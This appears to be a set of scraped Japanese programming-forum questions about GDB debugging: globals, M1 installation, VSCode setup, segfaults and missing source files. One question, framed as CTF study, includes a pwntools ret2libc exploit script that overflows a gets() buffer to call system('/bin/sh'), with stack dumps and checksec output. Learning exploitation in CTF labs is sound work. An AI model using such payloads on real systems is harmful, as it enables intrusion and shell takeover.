常連

###GDBでC言語のグローバル変数をすべて表示するコマンドが知りたいです。

###　Cプログラム
```
#include <stdio.h>

int a = 1;
int b = 2;
int c = 3;

int main (void){
    int x = 0;
    x = a+b+c;
    printf("%d" , x);
    return 0;
}
```

GDBでa,b,cの変数の情報を全て表示するにはどうしたらよいでしょうか。

### 試したこと

info variables　コマンドを試したのですが、a,b,cについての情報は出力されませんでした


###コンパイル手順
以下のコマンドで実行しました
```ここに言語を入力
$ gcc -g test.c -o test
$ gdb test
(gdb) break main
(gdb) run
(gdb) info variables
```

Ubuntu16.04
gccのバージョンは5.4.0です

GDB でC言語のグローバル変数をすべて表示するコマンド

PC: macOS Big Sur 11.6 Apple M1
vscodeでfortranを書くためにデバッガーとしてgdbを使いたいのですがインストールできません。(おそらく）
ターミナルで下記を打ったところ
```ここに言語を入力
brew install gdb
```
下記のエラーが出ました。
```ここに言語を入力
Updating Homebrew...
==> Auto-updated Homebrew!
Updated 2 taps (homebrew/core and homebrew/cask).
==> Updated Formulae
Updated 45 formulae.
==> Updated Casks
Updated 35 casks.
==> Deleted Casks
comparemerge

Error: gdb: no bottle available!
You can try to install from source with:
  brew install --build-from-source gdb
Please note building from source is unsupported. You will encounter build
failures with some formulae. If you experience any issues please create pull
requests instead of asking for help on Homebrew's GitHub, Twitter or any other
official channels.

```
brew install --build-from-source gdb
でやれとのことなのでやったところ
```ここに言語を入力
==> Downloading https://ftp.gnu.org/gnu/gdb/gdb-11.1.tar.xz
Already downloaded: /Users/Username/Library/Caches/Homebrew/downloads/1dcbee4346f94a51bad05017ae9679239abee1eaaa3954caa7e7f3cee417211d--gdb-11.1.tar.xz
==> ../configure --enable-targets=all --prefix=/opt/homebrew/Cellar/gdb/11.1 --disable-debug --disable-d
==> make
==> make install-gdb maybe-install-gdbserver
Error: Empty installation 

```
とエラー?が出ました。
一応インストールされているか確認のため
```ここに言語を入力
gdb -v
zsh: command not found: gdb

```
```ここに言語を入力
which gdb
gdb not found

```

をしました。多分入っていなのではないかと思います

インストールされているのでしょうか？
インストールされていないのならどうすればインストールできますか？

Apple M1 macにGDBをインストールしたい

### 実現したいこと
gdbによるデバックによって実行中のプログラムをブレークポイントで停止させて、そこで変数の内容を確認したい。
期待する動作は以下のような画面です。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2023-06-10/b7432b36-92da-436e-b37b-c69cd703bf40.png)
(VScode で GDB のコマンドを実行する,https://qiita.com/BenjaminBenton7/items/282250313e02ad4d50d6)

### 発生している問題・エラーメッセージ
vscodeでC++を使用するためにデバックやインテリセンスの設定を行い、gdbによるデバックを行った。
するとブレークポイントで停止自体はするのだが、以下のようにlocal変数に何も表示されない状態になってしまった。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2023-06-10/b56a2569-bd09-4b79-a799-1e1c509ad9a5.png)


実行したソースコードは以下のとおりです。

```c++
#include <stdio.h>

int calc_sum(int* a, int size)
{
	int sum = 0;
	for (int i = 0; i < size; ++i) {
		sum += a[i];
	}

	return sum;
}

int main(void)
{
	int data[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
	int sum = calc_sum(data, sizeof data / sizeof *data);
	printf("%d\n", sum);

	return 0;
}
```

またtasks.jsonとlaunch.jsonは以下の通りになっています。
```tasks.json
{
    // See https://go.microsoft.com/fwlink/?LinkId=733558
    // for the documentation about the tasks.json format
    "version": "2.0.0",
    "tasks": [
        {
            "label": "g++",
            "type": "shell",
            "command": "g++",
            "args": ["-g", "-o", "${fileDirname}/${fileBasenameNoExtension}.exe", "${file}"],
            "group": {
                "kind": "build",
                "isDefault": true
            }
            
        }

    ]
}
```
```launch.json
{
    // IntelliSense を使用して利用可能な属性を学べます。
    // 既存の属性の説明をホバーして表示します。
    // 詳細情報は次を確認してください: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "(gdb) 起動",
            "type": "cppdbg",
            "request": "launch",
            "program": "${workspaceFolder}\\${fileBasenameNoExtension}.exe", // <- test.exe
            "args": [],
            "stopAtEntry": false,
            "cwd": "${workspaceFolder}",
            "environment": [],
            "externalConsole": true,
            "MIMode": "gdb",
            "miDebuggerPath": "C:/mingw64/bin/gdb.exe",
            "setupCommands": [
                {
                    "description": "gdb の再フォーマットを有効にする",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": true
                }
            ]
        }
    ]
}
```


vscodeでgdbデバックを行っても変数の内容が表示されない

c++で最適化を無効にしデバッグビルドしました。
生成された実行ファイルをgdbで起動し、p sizeof({クラス名})としたところNo symbol in current contextが発生しました。これはどのような原因が考えられるでしょうか？
発生しないクラス定義もあります。


gdbでNo symbol in current contextが発生するのは何故か？

### 前提・実現したいこと
オープンアドレス法というハッシュ法をCで実装しようとしています.

環境はWindows10上のUbuntu 20.04.2 LTSです.

エラーメッセージはgdbを利用してトレースした際に出たものです.

open_addressing.cのcreate_dict関数に問題があることはわかるのですが,具体的な箇所がわからず困っています.

わかる方いましたらお願いします.

## 発生している問題・エラーメッセージ

```
$ ./a.out
Breakpoint 1, main () at main_open_addressing.c:5
5       int main(void) {
(gdb) step
6         DictOpenAddr *test_dict = create_dict(10);
(gdb) step
create_dict (len=0) at open_addressing.c:7
warning: Source file is more recent than executable.
7       {
(gdb) step
8         DictOpenAddr *dictopenaddr = (DictOpenAddr *)malloc(sizeof(DictOpenAddr));
(gdb) step
Dictionary created!
Program received signal SIGSEGV, Segmentation fault.
```

### 該当のソースコード
<open_addresing.c>

```C
#include <stdio.h>
#include <stdlib.h>
#include "open_addressing.h"
#include "main_open_addressing.c"

DictOpenAddr *create_dict(int len)
{
  DictOpenAddr *dictopenaddr = (DictOpenAddr *)malloc(sizeof(DictOpenAddr));

  dictopenaddr->H = (DictData *)malloc(sizeof(DictData) * len);
  dictopenaddr->B = len;

  for (int i=0; i < len; i++)
  {
    dictopenaddr->H[i].name = -1;
    dictopenaddr->H[i].state = EMPTY;
  }

  printf("Dictionary created!\n");
 
  return dictopenaddr;
}

int h(DictOpenAddr *dict, int d, int count){

  int hash = d % (dict->B);
  
  hash = (hash + count) % (dict->B);

  return hash;
}

void insert_hash(DictOpenAddr *dict, int d)
{
  if (search_hash(dict,d) != -1 )
  {
    return ;
  }

  int count = 0;
  int b = h(dict,d,count);
  int init_b = b;

  while (b != init_b){
    if (dict->H[b].state == EMPTY || dict->H[b].state == DELETED)
  {
    dict->H[b].name = d;
    dict->H[b].state = OCCUPIED;
  }

  count += 1;
  b = h(dict,d,count);
  }
  
  fprintf(stderr, "Cannot be inserted.\n");
}

int search_hash(DictOpenAddr *dict, int d)
{
  int count = 0;
  int b = h(dict,d,count);
  int init_b = b;

  while (b != init_b){
     if (dict->H[b].state == OCCUPIED)
  {
    if (dict->H[b].name == d)
    {
      return b;
    }
    
  }

  else if ((dict->H)[b].state == EMPTY)
  {
    return -1;
  }

  count += 1;

  b = h(dict,d,count);
  
    
  }
    return -1;
  }  

void delete_hash(DictOpenAddr *dict, int d)
{
  int b = search_hash(dict,d);
  if (b != -1)
  {
    (dict->H)[b].state = DELETED;
  }
}

void display(DictOpenAddr *dict)
{
  int i = 0;
 
  while (i<dict->B){
    switch (dict->H[i].state)
  {
  case EMPTY:
    printf("e");
  case DELETED:
    printf("d");
  case OCCUPIED:
    printf("%d",dict->H[i].name);
  }
  i++;
  }
}

void delete_dict(DictOpenAddr *dict){
  free(dict);
  printf("Dictionary deleted!");
}
```

<open_addresing.h>

```C
#ifndef INCLUDE_GUARD_OPEN_ADDRESSING_H
#define INCLUDE_GUARD_OPEN_ADDRESSING_H

typedef enum state {
  EMPTY,
  DELETED,
  OCCUPIED
} State;

typedef struct dict_data {
  int name;
  State state;
} DictData;

typedef struct dict_open_addr {
  DictData *H;
  int B;
} DictOpenAddr;

DictOpenAddr *create_dict(int len);
int h(DictOpenAddr *dict, int d, int count);
void insert_hash(DictOpenAddr *dict, int d);
int search_hash(DictOpenAddr *dict, int d);
void delete_hash(DictOpenAddr *dict, int d);
void display(DictOpenAddr *dict);
void delete_dict(DictOpenAddr *dict);

#endif  // INCLUDE_GUARD_OPEN_ADDRESSING_H
```

<main_open_addresing.c>
```C
#include <stdio.h>
#include <stdlib.h>
#include "open_addressing.h"

int main(void) {
  DictOpenAddr *test_dict = create_dict(10);

  insert_hash(test_dict, 1);
  insert_hash(test_dict, 2);
  insert_hash(test_dict, 3);
  insert_hash(test_dict, 11);
  insert_hash(test_dict, 12);
  insert_hash(test_dict, 21);
  display(test_dict);

  printf("Search 1 ...\t%d\n", search_hash(test_dict, 1));
  printf("Search 2 ...\t%d\n", search_hash(test_dict, 2));
  printf("Search 21 ...\t%d\n", search_hash(test_dict, 21));
  printf("Search 5 ...\t%d\n", search_hash(test_dict, 5));

  delete_hash(test_dict, 3);
  display(test_dict);

  delete_hash(test_dict, 11);
  display(test_dict);

  delete_dict(test_dict);

  return EXIT_SUCCESS;
}
```

'Program received signal SIGSEGV, Segmentation fault.'の解決

### 前提・実現したいこと

VScodeでデバッグすると特にエラーは見られないのですが出力がターミナルにもデバッグコンソールにも見当たりません。デバッグコンソールには長い文が表示されますが関係あるのでしょうか。競技プログラミングをしているのでcin, coutでの標準入出力の方法を教えていただけると幸いです。使用言語はC++です。

### 発生している問題・エラーメッセージ

デバッグしたコード
   

#include<bits/stdc++.h>
using namespace std;

int main(){
  
 int a, b;cin >> a >> b;
  cout << a + b;
   
}

上記のコードのデバッグ時に下のような表示がされ出力は表示されません。

=thread-group-added,id="i1"
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Warning: Debuggee TargetArchitecture not detected, assuming x86_64.
=cmd-param-changed,param="pagination",value="off"
=cmd-param-changed,param="args",value="< input.txt < output.txt"
[New Thread 12724.0x1328]
[New Thread 12724.0x33fc]
[New Thread 12724.0x1ecc]
[New Thread 12724.0x3438]
Loaded 'C:\WINDOWS\SysWOW64\kernel32.dll'. Symbols loaded.
Loaded 'C:\WINDOWS\SysWOW64\KernelBase.dll'. Symbols loaded.
Loaded 'C:\WINDOWS\SysWOW64\msvcrt.dll'. Symbols loaded.
Loaded 'C:\MinGW\bin\libgcc_s_dw2-1.dll'. Symbols loaded.
Loaded 'C:\MinGW\bin\libstdc++-6.dll'. Symbols loaded.
The program 'C:\MinGW\bin\vscode\main.exe' has exited with code 0 (0x00000000).


### 試したこと

launch.jsonに"console": "integratedTerminal"と加筆しましたがProperty console is not allwedと表示されてしまいます。また"externalConsole"をtrueに設定するとデバッグ時に入力を求めるウインドウが表示されるようになりましたが入力しても出力はやはり見当たりません。

### VScode0.2.0, Windows10

ここにより詳細な情報を記載してください。

VScodeデバッグ時における入力と出力ができない

### 前提

CTFを勉強中です。

以下のC言語で書かれたコードの実行ファイルに攻撃してシェルを奪いたいです。

しかし、うまくいかず、何が間違っているのかもわからないため、私の攻撃ソースコードの何が間違っているのかを教えてください。

どうかお願いいたします。



```
#include <stdio.h>

int main(){
    char buf[10];

    printf("buf : %p\n",buf);
    gets(buf);
    
    return 0;
}
```
### 実現したいこと
```
$python3 exploit.py
[+] Starting local process './a.out': pid 30487
b'buf : 0x7fffffffdee6\n'
[*] Switching to interactive mode
$ ls
a.c   a.out   exploit.py
$  
```
このような出力を得たい。
### 発生している問題・エラーメッセージ
実際は以下のような出力になり、実行直後にinteractive modeは終了している。

```
$python3 exploit.py
[+] Starting local process './a.out': pid 31577
b'buf : 0x7fffffffdee6\n'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process './a.out' stopped with exit code 2 (pid 31577)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "e.py", line 16, in <module>
    with process(bin_name) as tubu:solv(tubu)
  File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 1290, in __exit__
    self.close()
  File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe
```
### 攻撃プログラム
今回失敗した攻撃プログラムは以下の通り

```python3
from pwn import *

bin_name="./a.out"
context.arch='amd64'

def solv(p):
    s=b"/bin/sh"+pack(0x00)+b'A'*3 #systemの引数を入力、mainのretまでAで埋める
    s=s+pack(0x40101a)             #スタックアラインメントを調整するためのropgadget(ret)
    s=s+pack(0x7ffff7e1e290)       #<_libc_system>のアドレス
    s=s+pack(0x7ffff7e12a40)       #<_libc_system>のリターンアドレス。今回は<_GI_exit>
    s=s+pack(0x7fffffffdee6)       #<_libc_system>の引数。bufのアドレス
    print(p.recvline())            #bufのアドレスを表示
    p.sendline(s) 
    p.interactive()
    
with process(bin_name) as tubu:solv(tubu)
```

### 試したこと
各アドレスは間違っていないと思う。
mainのret直前のstackをGDBで確認した。
```
[-------------------------------------code-------------------------------------]
   0x401186 <main+48>:  call   0x401060 <gets@plt>
   0x40118b <main+53>:  mov    eax,0x0
   0x401190 <main+58>:  leave  
=> 0x401191 <main+59>:  ret    
   0x401192:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40119c:    nop    DWORD PTR [rax+0x0]
   0x4011a0 <__libc_csu_init>:  endbr64 
   0x4011a4 <__libc_csu_init+4>:        push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde98 --> 0x40101a (<_init+26>:  ret)
0008| 0x7fffffffdea0 --> 0x7ffff7e1e290 (<__libc_system>:       endbr64)
0016| 0x7fffffffdea8 --> 0x7ffff7e12a40 (<__GI_exit>:   endbr64)
0024| 0x7fffffffdeb0 --> 0x7fffffffde86 --> 0x68732f6e69622f ('/bin/sh')
0032| 0x7fffffffdeb8 --> 0x401100 (<register_tm_clones+32>:     add    BYTE PTR [rax],al)
0040| 0x7fffffffdec0 --> 0x4011a0 (<__libc_csu_init>:   endbr64)
0048| 0x7fffffffdec8 --> 0x25e74a72b6a58b10 
0056| 0x7fffffffded0 --> 0x401070 (<_start>:    endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401191 in main ()
gdb-peda$ 
```

### 補足
ASLRは無効になっており、その他のセキュリティ機構は以下のようになっています。
```
$checksec --file=a.out
Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

ret2libcがどうしても成功しない問題についての質問

### 前提・実現したいこと

sleepコマンドを実行し、そのプロセスをgdbでアタッチしました。
```bash
$ sleep 100

$ ps aux | grep sleep
kali        3116  0.0  0.0   3436   748 pts/1    S+   21:03   0:00 sleep 100
kali        3118  0.0  0.0   4264   892 pts/0    S+   21:03   0:00 grep sleep

$ gdb 
GNU gdb (Debian 9.2-1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.                                                        
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
...省略...
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) attach 3116
Attaching to process 3116
Reading symbols from /usr/bin/sleep...
(No debugging symbols found in /usr/bin/sleep)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/85/03b2a6ce9ceecf5795f86b3b20a90fcb5efb77.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/a5/7f5fd51ff26337171bbbf6e8303528722c7136.debug...
0x00007f9f0bf23e93 in __GI___nanosleep (requested_time=0x7ffec1bd2220, remaining=0x0)
    at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: そのようなファイルやディレクトリはありません.

```

その後、gdbのlistコマンドでsleep周辺の処理を見たいのですが、nanosleep.cが見つからないので処理を見ることができません。
「../sysdeps/unix/sysv/linux/nanosleep.c: そのようなファイルやディレクトリはありません.」となってしまうのですが、どうにか解決できないでしょうか。
よろしくお願いいたします。

### 発生している問題・エラーメッセージ

```bash
28      ../sysdeps/unix/sysv/linux/nanosleep.c: そのようなファイルやディレクトリはありません.
(gdb) list
23      in ../sysdeps/unix/sysv/linux/nanosleep.c
```


### 試したこと

アタッチしたプロセスの情報は以下になります。
```bash
(gdb) info proc
process 3116
cmdline = 'sleep 100'
cwd = '/home/kali'
exe = '/usr/bin/sleep'
```

### 補足情報（FW/ツールのバージョンなど）

OS : Kali Linux 2020.2
GDB : 9.2-1